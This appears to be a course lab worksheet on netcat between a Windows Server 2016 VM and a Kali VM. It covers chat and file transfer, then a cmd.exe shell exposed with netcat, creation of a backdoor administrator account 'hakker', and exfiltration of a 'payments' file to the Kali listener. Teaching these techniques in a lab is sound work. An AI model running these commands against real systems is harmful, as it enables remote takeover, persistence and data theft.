Activity 6.8.1
Using Netcat

Server2016:
Ensure netcat files are in C:\tools\netcat
Create the folder c:\secret
Add text files with some text:
C:\secret\payments.txt
C:\secret\confidential.txt

Kali:
Create home/kali/haha.txt with some text 

Unless noted:
"server" = Server2016
"client" = Kali

Obtain and record IP addresses for both VMs

--------------------------------------------------

# Make a simple client/server connection
# Can be used as a basic chat service

Server2016:
cd c:\tools\netcat
dir
cls
nc -Lnvp 1234

Kali:
nc -vn 192.168.6.132 1234

On either:
Hello

On the other:
What's up?

Both:
Ctrl+c
-----------------------------------------------

# Server delivers a file to the client
# when the client connects

Server2016:
nc -w 5 -Lnvp 5555 < C:\secret\confidential.txt

Kali:
nc -w 5 -nv 192.168.6.132 5555 > confidential.txt

Both:
Ctrl+c
----------------------------------------------

# Client uploads a file to the server

Server2016:
nc -w 5 -Lnvp 7777 > C:\Users\Administrator\Desktop\haha.txt

Kali:
nc -w 5 -nv <Server IP> 7777 < haha.txt

Both:
Ctrl+c
-------------------------------------------------------
# Install ncat on Kali
sudo apt install ncat

# KALI will use TWO terminals

Kali: Terminal 1
ncat -l -n -v -w 5 -k 9999 > payments.txt

# Server provides a reverse shell 
when the client connects

Server2016:
nc -Lnvp 8888 -e cmd.exe

Kali: Terminal 2
nc -nv 192.168.6.132 8888

net user hakker 1Password /add
net user
net localgroup administrators /add hakker
net localgroup administrators

nc -w 5 -nv 192.168.6.128 9999 < C:\secret\payments.txt


# Server2016:
Add data to payments.txt

Kali: Terminal 2
(Repeat last command)

# Kali:
Check payments.txt for new data.

Both:
Ctrl+c